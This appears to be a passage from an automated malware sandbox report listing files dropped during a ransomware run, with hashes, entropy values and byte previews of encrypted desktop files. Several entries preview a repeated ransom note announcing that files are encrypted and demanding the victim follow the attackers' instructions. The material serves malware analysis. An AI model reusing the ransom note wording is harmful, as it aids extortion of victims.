                        Preview: ^...H....I....KW..(.....m...]x..}f.\,..}=.X....2..r.C3G.a>.M........T&....q...GE.t....@^.d.$qe...AT...........$..ra..........y.v...m..g....YC.2S..NR..5l.h...7.w#.C}0..P.+.Te...................b$..3.._.N).Y.['F..,(S!P...Csg3{..^lD.-J..'...?.H......G......6.l/;....ddN.>.S....P.,..!s.....4..tvq....^h~...{.S..E..E.y.H.!|.?......._.....f.Vo.V&.=....0..6.:T9I.2.w.......r.m..[.s.wf.'d.....L..6.....P.[.....J...!XFDu9..IQZ.=RD..d.....c...-*.\l.K...W..U..m.....9.xk.PGB;...e....A.....l=.5."...p..e..=.. ..B...e:q"dRT_.._.<...2....-..P .../~.^c.)..Bm..&.4r........*Y..'.&.z........`.....0.B...~...01.j.n.ic].......VQHE...."...u...."2.wu....HI .A....[.F ...........1"..!Hz...a..9K.>.0>h........6.Qc..r........-..C.O.....3.b.J.<..N.x..'..lb.....o..%A....u...W..........@.L......L.HUP,........$...6.@..&.............)..F..?.....?O.{.=...<../\..p...r...&|.v..{>n...W<H(P......_...`;.2O...r...T.}g/.+..."......_=N2....R...Ik....x.....FS..7jT...h.+.KM.&.)2.c
                        C:\Users\user\Desktop\BWDRWEEARI\OVWVVIANZH.pdf
                        Process:C:\Windows\MsMpEng.exe
                        File Type:data
                        Category:dropped
                        Size (bytes):1258
                        Entropy (8bit):7.856277979705629
                        Encrypted:false
                        SSDEEP:24:tBz5z/w+Uxw/SbViYhKYoBYVim83eXlN3bd8W8euutrSI7:tzOESb4RzBSimceb3ayl7
                        MD5:FDD8081BC6697D0AA10ECA4B46275C01
                        SHA1:D57856F6D2991B20DE1D18784F82C06097348765
                        SHA-256:BBC22FEFB2996CEAA7C27D31914BCF4DD258AA9CF1A2E9526E371B34823537E5
                        SHA-512:91E6406A54E8AB52169A684BF8ED5AC18A38E79DE3103FAE7DE259A62020CFA53F9650E46093A5252A08114CEE4E8CFFB28518A159D5DA1F8D6AF1BA2B811D02
                        Malicious:false
                        Preview: u.e.<"..|1....."..z.....|+..m.c.LA..e&C-J..S...).2V..F.R...?....'...\..8.3..4....}f.v.rDF..7}.r.2.g_"..(...O..G./%F.yCm.j.nr_0.,..x{...(..#.N#."..h..F4.n..?...(.3.2"....{b..JW...OP"r.\~.x..?..!.X..np0.3..Cc.........CzU....*....yi[..R+.oX....tz,1=.......{.....E..|M^y.O#~. z.py...8.^&.8......."l.H.u....1..qX*.iu?...........q...{......#.....+o@...$.....36.V.S.[4.Y.....V&..S.n.......^K.r6..~...B.pg\:Lh......^h.G.............Xv.sI.U..R.....-.V/..BrH..;._/.... n....P..L.........H.sN[..m .N.Q....K..ix....O}6U...5.0.Zid...cq......'.g...m|x.\...y...+p......+..KU...\..*N.....I...@..Q..Le..%..i.....L.].].1.~....D.6.=..g...:.N!!.&J...o..!._..hE..q..A....Z....{..#.?h....v.qO.d>.'\....< ...I....v.}.........;..G..Z...}.....C...... ..Y.i.. ]kj..._...c9%....U..W. "...2.........u.du_.L.........`.].z..fg.5,.....@...7|Z..#....M......&w_X.e..ha.3....2..m..W...<4"..A.a.x...Sp&.c...1=b......Q.j....^.}{...k..N.jr.....-... u.8....]....8e-.. PN<g
                        C:\Users\user\Desktop\BWDRWEEARI\WDBWCPEFJW.jpg
                        Process:C:\Windows\MsMpEng.exe
                        File Type:data
                        Category:dropped
                        Size (bytes):1258
                        Entropy (8bit):7.85147010479057
                        Encrypted:false
                        SSDEEP:24:RXsUjZJDX3odwUU4nfkYy/9kIbgYVdAZpdma8rj3fcWjGpzVvuutrgyCfan:RFVJDIdNf9DIbTdKbmPjE8GpZJgyXn
                        MD5:C82BAF91277D9AD996752865DDFE5892
                        SHA1:E9B6FAC61EB44367E91529BFE2470F8F38AB13B0
                        SHA-256:FAC4FB227E62DCF83D4098E1DD35DCB5348B44346C550309871884C84F6625D1
                        SHA-512:E51BDBE198EA530E30F412A0E668EF5F8F274D561E2EBA1CC1B1BCF48D99BC38D37200CDE743ABD4864274865271F34DDE4D8F4A56B6BAD93C031F954CABD62A
                        Malicious:false
                        Preview: .7.E.....F...4.7.... .Z....K.T..3...vl.K!P......xq.....[.../Qh(.z.Z..I(..Ur.2,,..Z....4........6.mx..w..m.....rU..Z.W.+.w..{x...}..i..9..[a..;5.@./o.ux....qKu..TN_.....a....ml2..S<..k.~>...x*w@..n.tY....\.A.n+a..|.l.:....OdJ..A.>.`x=...!9..T....Ml...^..5....u...Tt..IEd.e.;b...x,.Q..... ._..y-J.o.m.H.^.p..-+...%M+......<`V....4.A. .(F......k\...|.a...g..].7..4.......I..]P...9.rN.....0..`ph..p.."N..-...4@..f.a....JwW.....?...........^.{.....]..,..n...nS....F.N...W.J.O..M.....r.q...H....{.....E.SO...d.H6...7.e..MZ........TI.Nn...$.......C.7.~....n8.2D$.kp..$S.D]a.y...V..S.l..p..f.R`.t;n...M...L........b...1....Y+Hp...l]..o..1m.....Y5.pT.......Q......J..REb..67...UuS....m...}..V.W..6.6 .(...<....SQ.L..d.....p.Vu.8L...N......_....D....[..m1.3...S)!....iq....5.......$.B.g.....q\.!...jd5...]b].....|/H.`+.B$y#.t..^...y$_H.^,....~.....F...j...u8[K..B.........mO....*@...h..:.c.(......0.iR....5..I....5LP..V..O.0.._v.P@.%X...Q.;>...
                        C:\Users\user\Desktop\BWDRWEEARI\z4ra2w5g-readme.txt
                        Process:C:\Windows\MsMpEng.exe
                        File Type:data
                        Category:dropped
                        Size (bytes):6928
                        Entropy (8bit):3.8723818356503363
                        Encrypted:false
                        SSDEEP:192:oHLyQ3jjZUu5jGN42sTKthBLvJbyDycD8hc:iSuau2sTEhBrJb+ycD8hc
                        MD5:F8E45B4CB92153FBFB52B8DA885CA1DE
                        SHA1:8F741D58CFB91E43D7E9F156D1008593DE73C6E3
                        SHA-256:D15544EB68334A39D904CFB0C020E848FD38D2F49DDDB9E172EF26F59DDD998E
                        SHA-512:4B1819E4E67535BE656905CF1BD0E90108352FFE27D32F0591E58FD8DE92F211C52FC631FF1A8DD04B035C104448A8D31C43821E91F21D3F2615FEE1D0934EC7
                        Malicious:false
                        Preview: -.-.-.=.=.=. .W.e.l.c.o.m.e... .A.g.a.i.n... .=.=.=.-.-.-.........[.-.]. .W.h.a.t.s. .H.a.p.P.e.n.?. .[.-.].........Y.o.u.r. .f.i.l.e.s. .a.r.e. .e.n.c.r.y.p.t.e.d.,. .a.n.d. .c.u.r.r.e.n.t.l.y. .u.n.a.v.a.i.l.a.b.l.e... .Y.o.u. .c.a.n. .c.h.e.c.k. .i.t.:. .a.l.l. .f.i.l.e.s. .o.n. .y.o.u.r. .s.y.s.t.e.m. .h.a.s. .e.x.t.e.n.s.i.o.n. .z.4.r.a.2.w.5.g.......B.y. .t.h.e. .w.a.y.,. .e.v.e.r.y.t.h.i.n.g. .i.s. .p.o.s.s.i.b.l.e. .t.o. .r.e.c.o.v.e.r. .(.r.e.s.t.o.r.e.).,. .b.u.t. .y.o.u. .n.e.e.d. .t.o. .f.o.l.l.o.w. .o.u.r. .i.n.s.t.r.u.c.t.i.o.n.s... .O.t.h.e.r.w.i.s.e.,. .y.o.u. .c.a.n.t. .r.e.t.u.r.n. .y.o.u.r. .d.a.t.a. .(.N.E.V.E.R.)...........[.+.]. .W.h.a.t. .g.u.a.r.a.n.t.e.e.s.?. .[.+.].........I.t.s. .j.u.s.t. .a. .b.u.s.i.n.e.s.s... .W.e. .a.b.s.o.l.u.t.e.l.y. .d.o. .n.o.t. .c.a.r.e. .a.b.o.u.t. .y.o.u. .a.n.d. .y.o.u.r. .d.e.a.l.s.,. .e.x.c.e.p.t. .g.e.t.t.i.n.g. .b.e.n.e.f.i.t.s... .I.f. .w.e. .d.o. .n.o.t. .d.o. .o.u.r. .w.o.r.k. .a.n.d. .l.i.a.b.i.l.i.t.i.e.s. .-. .n.o.b.o.d.
                        C:\Users\user\Desktop\BWETZDQDIB.jpg
                        Process:C:\Windows\MsMpEng.exe
                        File Type:data
                        Category:dropped
                        Size (bytes):1258
                        Entropy (8bit):7.850292754554404
                        Encrypted:false
                        SSDEEP:24:gjMtxdLXdYau1ulWMGT0g66NHlCfNoYwULf+lOMuutrk:gMtLzu1HQgJHlPYwULfok
                        MD5:A7EDBBFDFC1D971AE41CBFF9B7A6B2AE
                        SHA1:D9FC433D611603358501725CACF7835B7D2106FD
                        SHA-256:654A559F31FDB6FC4523769335AFB250D5F189E2BF91542B82CEB6A02EAFECFA
                        SHA-512:0E56A492C84C3122ECA147CFEB13FA25DD2D7464008B4DF61CE8EAE25E3D5EDE0A7205665D93D419429E8664A1FB176401CF7CF8FC8DDB2CE4B46C33839829D7
                        Malicious:false
                        Preview: ....8!..5....s.C6.7'S..`..N.4.O.n.u.H..[{.p....D..L...L.H*d.....G...{Q....<....F.....'GuR.6....L9Q.......V.$%.?..9.#..Ej.v....U.X.;b.......a`."(R[..Fr....K4.e-.......9H...*.....a......E..$...:..B..uV.t...<.&..z7.E....\........].:.....t&.~.......$d...x)f...k..J....Iz.DYU...[.....s.@>7.q..G+(...\..n=Q?.(4.T....m......6..:K.A.....w.)4..!..=.V.T.]V}N/.W.}e16..<...pO....^...}Q.t.....:Eb..S...t.%K."..n...=..F...<...%...2.....Dd..&...>....o.....2.q.*.o.Q.f.|..D.......)V.2.W.c...<......\7..a..6..../%@.6......&...#......2.2'd....2......a..|..zj.6.KT.0..,z.:5..a...{.a......P$..G%y...;+..^......|...g...H...1.\u..[..:...i..{.fuPtO....)....=\..7..@$<...K;/.K..uq...:..#..Y.....}gQ.a..Q]...r.M.Q....3.3y0...M.0..3.L..Ll.4z).o[%......!2.P...mv... &...-|. ....D..;..X...*.uS.9...d+..7......dW...._..f.3.....3..4.R)9..m"I%..).A.1iY....V>..y....l.w...c.s.2I&....~p^}....:...I...g..z....X.0Vj..Vt........[.t..R\U......K..9k~.=&gr>...O......gH.4...
                        C:\Users\user\Desktop\BWETZDQDIB.xlsx
                        Process:C:\Windows\MsMpEng.exe
                        File Type:data
                        Category:dropped
                        Size (bytes):1258
                        Entropy (8bit):7.852295773127187
                        Encrypted:false
                        SSDEEP:24:4zDoMh5bkO994mpW7qPRUpNOv1Eys0gJLFbYFVv/GWbeGhKn1fHeeHuutrkFp:4zDombr94YIqJivyqsVv/GWbThavXBMp
                        MD5:3E0C11076A7BC785317A82C941F3BB17
                        SHA1:743BD36A019BE75A53E5E429E4379353478A0FAF
                        SHA-256:42C44FABF5F42349AFB2844C122869162A54B69F3D9268CBA14EBDE90BEA1320
                        SHA-512:0D36E87E454FAFF8A8E1594006400E0E4C4BD083DFBDA779C3632CD852A51DCD77468450C8146319224B19D1680895C32E77A34A649F3C40D9A775176592B676
                        Malicious:false
                        Preview: j...l.km.uOx..6K.b2Z......J..'.~..?...7...#....O.T!a.Y!S7....E..mO. .il...d......."s.W...4.2.B..lf......\N<h.&...,...,..BK.u..i..HB.....q............Q..!.Q...&91..=....}q..]...\.=.V.]3..=....P..b1.Y.).........r.....uT.........\e.z...IC4v..L......Q..b@.j $.fAT.0...d#..O.o..{.C.v..[....G.....T.\..Z."...Q..~...~<%...qE..(....,.5.....F..a}.{.a....78L mK...a..D#..xn.D..iV.8.6...Fk.E.,.....*..Si..J=....Y.^.t.!i0h.....J".U.7".z..X[......8z..s#.kBqI..r.!..7i0...MO...3D...N*..Z....?\ .6.2...._.>....i..z........SAs|.b.......I.>.........\1u...:8.W.4.n. .AH....P.ef.B..DH.^...O.O3.h...Fi...Ff(zO..........X......z..TFMtD@5...^/.|a..Yh.u..8..oY|...C...@.AT.....^.P.....&...`0[....fk.&R...r.5.!A...6v...o..UX.A..o...c..Dl..}.A.w.F$I.*.\@z..e.>3.....m..{....HZ5Y...J.av/fH.;....@....5....Ss..t/..1Ti.7..._..N...Y..k.x&1..F3......c!.X5....C#7;.<Q2...#...S4T..Qa.j.:0.S..`8...`..<0Y..f!3.8.V.z.+@.3j..3.f[.2..;..1;_...8.q#.QE.......A...#/=.W...P`CL....*9......
                        C:\Users\user\Desktop\BWETZDQDIB\z4ra2w5g-readme.txt
                        Process:C:\Windows\MsMpEng.exe
                        File Type:data
                        Category:dropped
                        Size (bytes):6928
                        Entropy (8bit):3.8723818356503363
                        Encrypted:false
                        SSDEEP:192:oHLyQ3jjZUu5jGN42sTKthBLvJbyDycD8hc:iSuau2sTEhBrJb+ycD8hc
                        MD5:F8E45B4CB92153FBFB52B8DA885CA1DE
                        SHA1:8F741D58CFB91E43D7E9F156D1008593DE73C6E3
                        SHA-256:D15544EB68334A39D904CFB0C020E848FD38D2F49DDDB9E172EF26F59DDD998E
                        SHA-512:4B1819E4E67535BE656905CF1BD0E90108352FFE27D32F0591E58FD8DE92F211C52FC631FF1A8DD04B035C104448A8D31C43821E91F21D3F2615FEE1D0934EC7
                        Malicious:false
                        Preview: -.-.-.=.=.=. .W.e.l.c.o.m.e... .A.g.a.i.n... .=.=.=.-.-.-.........[.-.]. .W.h.a.t.s. .H.a.p.P.e.n.?. .[.-.].........Y.o.u.r. .f.i.l.e.s. .a.r.e. .e.n.c.r.y.p.t.e.d.,. .a.n.d. .c.u.r.r.e.n.t.l.y. .u.n.a.v.a.i.l.a.b.l.e... .Y.o.u. .c.a.n. .c.h.e.c.k. .i.t.:. .a.l.l. .f.i.l.e.s. .o.n. .y.o.u.r. .s.y.s.t.e.m. .h.a.s. .e.x.t.e.n.s.i.o.n. .z.4.r.a.2.w.5.g.......B.y. .t.h.e. .w.a.y.,. .e.v.e.r.y.t.h.i.n.g. .i.s. .p.o.s.s.i.b.l.e. .t.o. .r.e.c.o.v.e.r. .(.r.e.s.t.o.r.e.).,. .b.u.t. .y.o.u. .n.e.e.d. .t.o. .f.o.l.l.o.w. .o.u.r. .i.n.s.t.r.u.c.t.i.o.n.s... .O.t.h.e.r.w.i.s.e.,. .y.o.u. .c.a.n.t. .r.e.t.u.r.n. .y.o.u.r. .d.a.t.a. .(.N.E.V.E.R.)...........[.+.]. .W.h.a.t. .g.u.a.r.a.n.t.e.e.s.?. .[.+.].........I.t.s. .j.u.s.t. .a. .b.u.s.i.n.e.s.s... .W.e. .a.b.s.o.l.u.t.e.l.y. .d.o. .n.o.t. .c.a.r.e. .a.b.o.u.t. .y.o.u. .a.n.d. .y.o.u.r. .d.e.a.l.s.,. .e.x.c.e.p.t. .g.e.t.t.i.n.g. .b.e.n.e.f.i.t.s... .I.f. .w.e. .d.o. .n.o.t. .d.o. .o.u.r. .w.o.r.k. .a.n.d. .l.i.a.b.i.l.i.t.i.e.s. .-. .n.o.b.o.d.
                        C:\Users\user\Desktop\DWTHNHNNJB.png
                        Process:C:\Windows\MsMpEng.exe
                        File Type:data
                        Category:dropped
                        Size (bytes):1258
                        Entropy (8bit):7.854879488673598
                        Encrypted:false
                        SSDEEP:24:FGYN7nIpBipLl7CTcoifQ4hVO5BBU/eeRXqFfL/IJeu+wZWLXuutrt:tIpUBCTjf4hM5BwfkjsrPWdt
                        MD5:8AF5E1669EC3A98997E359B4CFED98E4
                        SHA1:60370F8F442BA01051C6E31DC29962BF4E05648A
                        SHA-256:32072E68A38E4D13C64408C54376034D19F4766FF6C05650ECA9CE15D36FCBB1
                        SHA-512:F25FD72789E3FB052CA7111F3EB51B62D35C36303C3655EED950D79FB12589F20B45E3ADA4CD06115EC334446BD798A3976EC8D70B51E97600149640DA0338A4
                        Malicious:false
                        Preview: .{,.P{[@....~q.)..2.-.*.......m....s....o1.vJo..'^.y..f.$..v.PB`...q.y&-.$k.TF...h.R}=........2.r...D..>..PH.4....._k...aV..Q.q.........=....g..\.U....{g.N...$:|}..\.y.;.=K0....i.h.+%[8f....P.>p.$.......q....a..K...\.?.6..b.vT..}....D0J.g.......Wh.*....M.1.."/?h..g........j.87%J...."G.qM....M..b........}`..e.NY..(..D.;.....'oM..H.....Xd.z.ok.z.c.....-..@e.E.s69....X..6.^..(vY....o[L..)...>..,(.......K..h.>..9~vK.A......%..Z.@.\Y.qy....D.|.-r.E..F.n-....|.V...Y...2.,..P...|.u).Wx[..N...........'...}V.R]...T.....|...Ova....?.Z#....SM.S..=."^...D....X..b0+..i...)n.<].U.x..9..W..I.`...7..@BC...`.Q...i#.,t.k`.'.2sA..$Z......t...j..........m....h......2.kH.c....t..K...C.?..B........0.......|..7.|......5o2i...}...Q.H......[..............Uk.#..d..DG?J.g.5.g-.....y....{..N$...w......9.r(.I....E.."2.....<..'..+.......F...5....]G.bE.0.Y.._...z......1g.|.....T.....>...KeO....Pyt..*O%.n...Y...h7.....?oZ...^...*((.N...zX.@.w2.Z.E...;_x1l...kT....5>
                        C:\Users\user\Desktop\ERWQDBYZVW.png
                        Process:C:\Windows\MsMpEng.exe
                        File Type:data
                        Category:dropped
                        Size (bytes):1258
                        Entropy (8bit):7.833893179882195
                        Encrypted:false
                        SSDEEP:24:GkTBEShIItxGJDqaI9sgtC72Vrf+f3n/UCXqmXz+spd2+potq8vhFhuh/HuutrTz:GkTCSqIDUDjI99E2pU7qmXztD2+Ow8vs
                        MD5:45F70562AC0EB04747FF1A593FA15DD6
                        SHA1:B87E5D4499E6D234C315BACFDD101C8FB810E51E
                        SHA-256:AFD4568A2511BD2186EBD9787F58D6F6904589C15E7D7A9F12305620A6CA09FE
                        SHA-512:4B6FED25AF653B4206793E7DA4AF443C7722523860CD011AF911ABDF6FE961DE071428C47505E9C6B07DE07C849D9B0AF4329A9B1FC64F5FB24996524D9CFCE6
                        Malicious:true
                        Preview: #...J...Q\...jGk#..Is..M..:j..s..].>B.......X...!.l.l......E.t......b.I..n.{..xk3Z3...B$.U.......5.V.R.i.0...$"..n...Y.7yr...~.w..S.U.D..P.gl..:9Q.5`....C%.^S..|.H.mc*3...,....(.p.5....Rl.f........c.._..M`]<...e7..y..@.<+....R\/......Y`.|..95{.`.G7%....3{V.<.g.P....t..S.biV..+D|....{..M&.>eLe$..Om..a.\.IN..B.7H....C[.D..>.,..c..Ud....u@..[tuP...6hq.#N............."....2.-7..3.f..}...]..G6...*.>n..r'.,dj$.ib.j...0...>lc.....Nv.....).}ob...*.".._....;?..8pHj...q......B2iv).L%G.w4.......0Vi.#..._H..6..T...#..x..(...tv......_....B.....|...m..1...*.$oKI.._..BDg..:..R7........_.G'.7a...j._.x.;.....v..,u..<........~.{......yV..X~.B...1Y.|x.@../..l;...k.:..BA....L.xI..v.2.gG.....$...j.cN{..S...U..qr.1.^...j.a..Qg....G....2.K..Au2Dx..Q.,...h.?P4.q...}....DO..H..,.#mSWqy..KQ~.t*....x..D.;.3.._@...R.....|+..]...$.D&hq..v....G.S.1..7gv._.n.+.ad.{*(..m..iUP5.H.}.....;.x.+Q...l.!..xP....@..[.k.q..8..&....=.2....-H.=.qz.../<.......b.W..{..[..
                        C:\Users\user\Desktop\EVCMENBQHP\z4ra2w5g-readme.txt
                        Process:C:\Windows\MsMpEng.exe
                        File Type:data
                        Category:dropped
                        Size (bytes):6928
                        Entropy (8bit):3.8723818356503363
                        Encrypted:false
                        SSDEEP:192:oHLyQ3jjZUu5jGN42sTKthBLvJbyDycD8hc:iSuau2sTEhBrJb+ycD8hc
                        MD5:F8E45B4CB92153FBFB52B8DA885CA1DE
                        SHA1:8F741D58CFB91E43D7E9F156D1008593DE73C6E3
                        SHA-256:D15544EB68334A39D904CFB0C020E848FD38D2F49DDDB9E172EF26F59DDD998E
                        SHA-512:4B1819E4E67535BE656905CF1BD0E90108352FFE27D32F0591E58FD8DE92F211C52FC631FF1A8DD04B035C104448A8D31C43821E91F21D3F2615FEE1D0934EC7
                        Malicious:false
                        Preview: -.-.-.=.=.=. .W.e.l.c.o.m.e... .A.g.a.i.n... .=.=.=.-.-.-.........[.-.]. .W.h.a.t.s. .H.a.p.P.e.n.?. .[.-.].........Y.o.u.r. .f.i.l.e.s. .a.r.e. .e.n.c.r.y.p.t.e.d.,. .a.n.d. .c.u.r.r.e.n.t.l.y. .u.n.a.v.a.i.l.a.b.l.e... .Y.o.u. .c.a.n. .c.h.e.c.k. .i.t.:. .a.l.l. .f.i.l.e.s. .o.n. .y.o.u.r. .s.y.s.t.e.m. .h.a.s. .e.x.t.e.n.s.i.o.n. .z.4.r.a.2.w.5.g.......B.y. .t.h.e. .w.a.y.,. .e.v.e.r.y.t.h.i.n.g. .i.s. .p.o.s.s.i.b.l.e. .t.o. .r.e.c.o.v.e.r. .(.r.e.s.t.o.r.e.).,. .b.u.t. .y.o.u. .n.e.e.d. .t.o. .f.o.l.l.o.w. .o.u.r. .i.n.s.t.r.u.c.t.i.o.n.s... .O.t.h.e.r.w.i.s.e.,. .y.o.u. .c.a.n.t. .r.e.t.u.r.n. .y.o.u.r. .d.a.t.a. .(.N.E.V.E.R.)...........[.+.]. .W.h.a.t. .g.u.a.r.a.n.t.e.e.s.?. .[.+.].........I.t.s. .j.u.s.t. .a. .b.u.s.i.n.e.s.s... .W.e. .a.b.s.o.l.u.t.e.l.y. .d.o. .n.o.t. .c.a.r.e. .a.b.o.u.t. .y.o.u. .a.n.d. .y.o.u.r. .d.e.a.l.s.,. .e.x.c.e.p.t. .g.e.t.t.i.n.g. .b.e.n.e.f.i.t.s... .I.f. .w.e. .d.o. .n.o.t. .d.o. .o.u.r. .w.o.r.k. .a.n.d. .l.i.a.b.i.l.i.t.i.e.s. .-. .n.o.b.o.d.
                        C:\Users\user\Desktop\FAAGWHBVUU.mp3
                        Process:C:\Windows\MsMpEng.exe
                        File Type:data
                        Category:dropped
                        Size (bytes):1258
                        Entropy (8bit):7.86256517715577
                        Encrypted:false
                        SSDEEP:24:g/+ceXxARZ/wFlec7zJvoQn2XKBzIdnYSlDl9uutr6LS:O+ceXxAwF/1q+IdnHlD3
                        MD5:BAF067BC5F06B22800AB3EA6F453BA12
                        SHA1:7B4C37882CF7E4E3721394F88BE38D9900588C19
                        SHA-256:6A776993160B4B57D9374D1B671EC6EE41C32370AD0CAF6276F6F749363E987B
                        SHA-512:2F6511BC5D55D777E30268DEE004A3A12C24F21E377FDCB838CB314F53BEBC76331FBDA50D243366F09377F92EFA2BAD8E48ABC4107219E2728691B7649AFD5C
                        Malicious:false
                        Preview: ..q..'U^.X.RI....h..[..tM...|.e81j.6mq..dL.u7a......ya....Q..#.../.F.J+.P..7\...+*(.M..<.5.....j.k..[...`.|.L.H.H.$.........2.~`.F.Y ;U9.....^i.y.N.s.B\..o...G)c..3.....m!+....&.e|..n...A..I...2b.'E..?..(..st..{g.Mv../Y"..f..........cy..F...h...jS...5..(...3....t8^...^...^...>....d.....~..V..M.}._..N.&|....)..."7^^u4.k..u....~........+..u.......A....>....E2.+.>.rkc.8Ze.y.....xA.a.,.-$...S!....k.+..&u..q.0..`..":OW.y...pHD.....^....T...L.~.....=i.v......C....3..e+[\...~.zn.@..........;8.~.)._f.S.{.:X.qT.....d.#..'........]....?....Lc..%....%D<.q...J......N%#0.......#A.h.7.9X.b.f....i....E7..j...W..t.2...=:^.~..r..:.t.....e.N..2.i.P.....g......=...{+..A|.Y.&\....*h....c#a....=.A.I*....X9.6.%..w../f..y/..5..y...E...fhIr........'v....(..bM...1@e....O.j....8L...z...x.$..Ad........M.3..:Z.V>.LI..?....a.UI....A.v.8..."w.!+b.e^..g.2n9...[.J.k.S..].J7...............G...X25_.R.K./.................qN.O.r.A....PW.>B........*..E.w/ZH......F.
                        C:\Users\user\Desktop\FAAGWHBVUU.pdf
                        Process:C:\Windows\MsMpEng.exe
                        File Type:SysEx File - Eventide
                        Category:dropped
                        Size (bytes):1258
                        Entropy (8bit):7.8279073482959625
                        Encrypted:false
                        SSDEEP:24:6a09bFG04A8dZeeLw7AzrQwyYqG2wstcNClGVLjcD0x9pBAyLiuutrNYsf:A5FGJdEM+aKiogzpBBLINpf
                        MD5:3384FDDC7F8F5A38587B185F8D135B04
                        SHA1:BFF8ED1768B4B370B4D298E0C418427D934409DA
                        SHA-256:63DADAA6CD101F0C03AB04B615F13F31713B51DBAB9D811DB5CFD273FF297718
                        SHA-512:93A0E52A97348AD0AABC457104A26CD1A202E7CD719A3BF52A9AAA1FA00143E36D6095D1808CFE7F1334259DEA804BF31F299230311CB6CE3714866ACDB749C6
                        Malicious:false
                        Preview: ......&...I.a..+.(.:r8..l.=`P.......*...(r....a...?...../.kp..>H.:nQx...M..]<. . ..~.<.....>....H...#e.{.-..<yu.cz.].Kt........1....PJ3...OV.+.Z...dR.{....S.4......J.H......*..p..Mx.D...9%P.{.....up...{.J.rv...G.y........Q........7....]H|.6@....u1...HL.m.f.....}k.YP.].T.r...q.r.{..&.pF.Ze.)..?.F.>.R.>h.e...]>..p...T.U.s_.........;.&.,......w&/...(a..*....^a...J@3.s.H.._..t....5..T&Vo...L....@.e..2...B..l...z..V.8.o.5..R.H1......).+......D.,...@.$...7.......!|%.j.StA4.3w.>R..t~..0Hjx.&./.o.H.D..?|=.=*E..r.......Y.~s.W."..P.k.~.F.2(...:.Oi...@........RI....z.Wv.0..*eqw..J....+xf...Q...{.Cy..&."....9..Z.'c3.......|.Yv.....d.o.C=..=..L..p7C.....Y....g....Sm..x...?..Z=....x.hR.T!V ._1?.Qh:..,..{..k..Y...........MRu......bB.r.f.[.{7........[....3F/...i.z...q..........=.:.....R|r.(.a-.U...*3 .<.!....t..k..x...%...y...U.&.}IfX.j...D....u.....M.rg.}..N.....P.QsPzC....@!.....B....v....|..3.k.Z......]'.m.V.. .._B...7.O...e.8/SJ.q/....ni
                        C:\Users\user\Desktop\FAAGWHBVUU.xlsx
                        Process:C:\Windows\MsMpEng.exe
                        File Type:data
                        Category:dropped
                        Size (bytes):1258
                        Entropy (8bit):7.839497848034277
                        Encrypted:false
                        SSDEEP:24:YaifdkxxsQawa+wGBWPsuEs4tyO3Uj5nKCHBNZ0Ivtuutr4AL1/v:YDFWnawlU9EVbkgkBNfb4O
                        MD5:A3E569E30A8DC2ECD028EC2323C61CFD
                        SHA1:9533E00479D476344AB99A7211EBDB3A08083571
                        SHA-256:258C9F74B66DE7050754CB43875ABB02FC96C2D20DBD4F4D024A01CCC74924B1
                        SHA-512:95653EE2B1768F7FED0DCA1608E56579BA1CD32F7B6966F2CF58F49F7C9F82535E6AF73E4B0F02115BA30E7078BF33853C2463722487ED5D4CBAC3126D382A56
                        Malicious:false
                        Preview: .".-3...N_..%....!}.,....3!AA..0].]?7..tY...F.(....!".....s....W..2.R(#..z]......g...I.'..|V...n.e..RZ...........w.....E.w...y...&.._..;..Z.Mw......`)...#.f.*]M...d.......=.F......^..1.V.L.2a....>B8.[..oQ...?D.......D{.Z.f....8\V."........ik..q5%.@1J..l..8E..!|&e..!.5O..4);....OMyc.k`..).........V.[$.j........ D.XK3..2".........ox,}O.P.....x.l%.6.....B..6.Xg.....k...A...A6.0..f...#1..D'.T...AG.]...5dj.u.D.a%{..|...S....v.&...A.7..`.8..v._Z.Y.$_.:Gj}.6.........m..iy..J...q.a..*{.).._.nM1&..../.k...I..x`.a... ..NE....H.eg...f>..l.SE..%.._..Z.!u.f.....^y..Es.80.\......P............H..z..:B..B.Vt....e|2.{D.;......U.Qm.$9L.......Sw......K.....?.5...KHp...E...B....:b.Q..Q.....9.).O....2.A.Y..Y..FVI...J .prM..s.4..N..W.`wb&0`.M...A...A..F.H.tzE3v9..>...A...q.D!K..h.F...,.B=I..^.+..[.A&6..Y..Rx.Cg.Xl.2.).c@P..W..I^.a..@........#...N4.Y.d+.t.K..).E......Jc.K......r.....@.w.d.4y..\-...H....t-......0p...2QI..>P5..T...b< ..S.BlV..I.
                        C:\Users\user\Desktop\FGAWOVZUJP.mp3
                        Process:C:\Windows\MsMpEng.exe
                        File Type:data
                        Category:dropped
                        Size (bytes):1258
                        Entropy (8bit):7.825185332810085
                        Encrypted:false
                        SSDEEP:24:PLLsSZZLILkOwGbemL5StJVAKZp/9alUo6uj7HAKuutrHi9:jdZhTXGqmLQBAKD/+UWgwC9
                        MD5:C245057CCF796F7751CE399BC40FE75D
                        SHA1:1B5C022FEA40AC9EC816335DA3B1D5786A0EC3A0
                        SHA-256:6A00EFE8308EB393B168064EB0E5F4A9997361B0EE885BF2C8FD47B816552A40
                        SHA-512:591E63D5E5B2491B43D7D586FDD0EC8BB65E02015B7476178B0A2647342BE029E703684503A88B97AD51958EBF4D7E8A2E9BE886B989FE6CE85CFC75096A6F78
                        Malicious:false
                        Preview: .....zm..G..06]...>.... ."+.*.2...)..,s.k.@....0.tex...|.~.......#W.....F6b...N.J...Wx5.u.Jf....S2.Z..a..B%2....H..'j.+..~.kMf..sK.r>+...{f...M.9....d.e.%...-..(\..=.1l...vn|7....s....U.6.N..?...6b..T...I...E...$.....>.t+VD&)?!T)v.yW=_..T.9c....W....Q...v>..3.qO........tz.Eh.;/....C{....6..........!..h.A,}......G...>...a}a.C.....!.j...(.n....p;|.d.l|..g.....*W.s..CiD..._.X..6.-.T..=.....g....F...zXD..k..?.l+..P?....T*.[D.........;..e...fN....M.o.....s.][.B.....{...U...Qm.?.X.x...mt.=r.~.'.......v.....Y...=.;....U1...F.dU...%.pDm..U..3E..-F]\.e.X.M.u..T.......W...5o.1r.)b.bb........".xd.'`...&...5..YX"..<f!`.eU..$3.y...?..|..6....al.-..T....l..q..].........v........q...A.{...E.0..6..&U3...ua./i...?.......x.......&.*m$..p/.. .....@..._...7G.f.....9...E.5((..&~9..we4.,....k..*.Z....g....g.mS....).....b......Du t...-.N:.G.....K..6.EG#qS..l...%..G..*....r..>..&z.o.._..Z.p.:n...n.... u.\.i-..q.[...8.M...I.!.Q....fE.Y..wDu.....8Q...H..B2...Em{.$S....
                        C:\Users\user\Desktop\GJBHWQDROJ.png
                        Process:C:\Windows\MsMpEng.exe
                        File Type:data
                        Category:dropped
                        Size (bytes):1258
                        Entropy (8bit):7.828057862674834
                        Encrypted:false
